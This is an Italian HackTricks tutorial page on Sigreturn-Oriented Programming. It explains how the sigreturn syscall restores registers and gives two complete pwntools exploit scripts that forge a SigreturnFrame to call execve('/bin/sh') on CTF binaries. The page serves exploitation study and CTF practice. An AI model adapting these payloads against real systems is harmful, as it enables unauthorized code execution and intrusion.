SROP - Sigreturn-Oriented Programming

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di base

Sigreturn è una speciale syscall utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, mette temporaneamente in pausa il suo lavoro corrente per gestire il segnale con un gestore di segnali, una funzione speciale progettata per gestire i segnali.

Dopo che il gestore di segnali ha finito, il programma deve ripristinare il suo stato precedente come se nulla fosse accaduto. Qui entra in gioco sigreturn. Aiuta il programma a tornare dal gestore di segnali e ripristina lo stato del programma pulendo il frame dello stack (la sezione di memoria che memorizza le chiamate alle funzioni e le variabili locali) che è stato utilizzato dal gestore di segnali.

La parte interessante è come sigreturn ripristina lo stato del programma: lo fa memorizzando tutti i valori dei registri della CPU nello stack. Quando il segnale non è più bloccato, sigreturn estrae questi valori dallo stack, ripristinando efficacemente i registri della CPU al loro stato prima che il segnale fosse gestito. Questo include il registro del puntatore dello stack (RSP), che punta alla cima attuale dello stack.

Chiamando la syscall sigreturn da una catena ROP e aggiungendo i valori dei registri che vorremmo che caricasse nello stack è possibile controllare tutti i valori dei registri e quindi chiamare ad esempio la syscall execve con /bin/sh.

Nota come questo sarebbe un tipo di Ret2syscall che rende molto più facile controllare i parametri per chiamare altri Ret2syscalls:

pageRet2syscall

Se sei curioso, questa è la struttura sigcontext memorizzata nello stack per recuperare successivamente i valori (diagramma da qui):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Per una spiegazione più dettagliata, controlla anche:

Esempio

Puoi trovare un esempio qui dove la chiamata a signeturn è costruita tramite ROP (inserendo in rxa il valore 0xf), anche se questo è l'exploit finale da lì:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Controlla anche l'exploit da qui dove il binario stava già chiamando sigreturn e quindi non è necessario costruire un ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Altri Esempi e Riferimenti

Last updated